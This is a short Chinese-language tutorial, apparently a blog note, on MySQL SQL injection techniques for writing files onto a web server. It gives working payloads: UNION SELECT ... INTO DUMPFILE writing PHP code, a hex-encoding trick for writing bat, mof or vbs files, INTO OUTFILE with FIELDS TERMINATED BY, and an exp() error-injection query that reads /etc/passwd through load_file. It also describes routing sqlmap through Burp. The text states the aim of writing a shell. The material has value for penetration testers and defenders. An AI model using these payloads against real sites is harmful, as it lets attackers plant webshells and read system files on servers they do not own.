1.用UNION写入
http://url/?id=1 and 0 union select 1,2 ,’<?php phpinfo(); ?>’ into dumpfile ‘文件绝对路径’
采用常规的union写入,可以看到前面的字段占位数肯定也会被写入,替换成null也是一样的结果,这个对于写shell没啥大碍,
但是如果用来写bat,mof,vbs等文件就会出问题了,那么怎么去掉这个只写入我们需要的内容呢?采用hex编码就好了。
将我们要写入的内容使用hex编码在分段写在每个字段位上,这样就可以只写入我们需要的内容了。
2.不支持union注入时 用terminated by
语法:select from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
可以看到成功写入,但是这个方法有一个弊病就是查询出来的数据必须大于或等于2以上才可以写入内容,写入的内容数=查询出来的数据-1
可以看到,当我们使前面的数据出错查不到数据的时候,写入是失败的。
看看sqlmap中的情况:
可以很明显的看到sqlmap中也有这种办法写入。(burp抓取sqlmap数据包:加上 –proxy “http://127.0.0.1:8080/"; 在burp里可以看到请求)
当然可以看到也通过了常规的union写入文件。
同时附上一个函数exp()。通过这个函数也可以读取文件,但是写文件只能写入一个内容为0的文件,这里就必须结合其他的漏洞利用了,如:文件覆盖之类的。
读文件:
select exp(~(selectfrom(select load_file(‘/etc/passwd’))a));
写文件:
select exp(~(select*from(select ‘hello’)a)) into outfile ‘C:/out.txt’; //但是只能写一个0进去。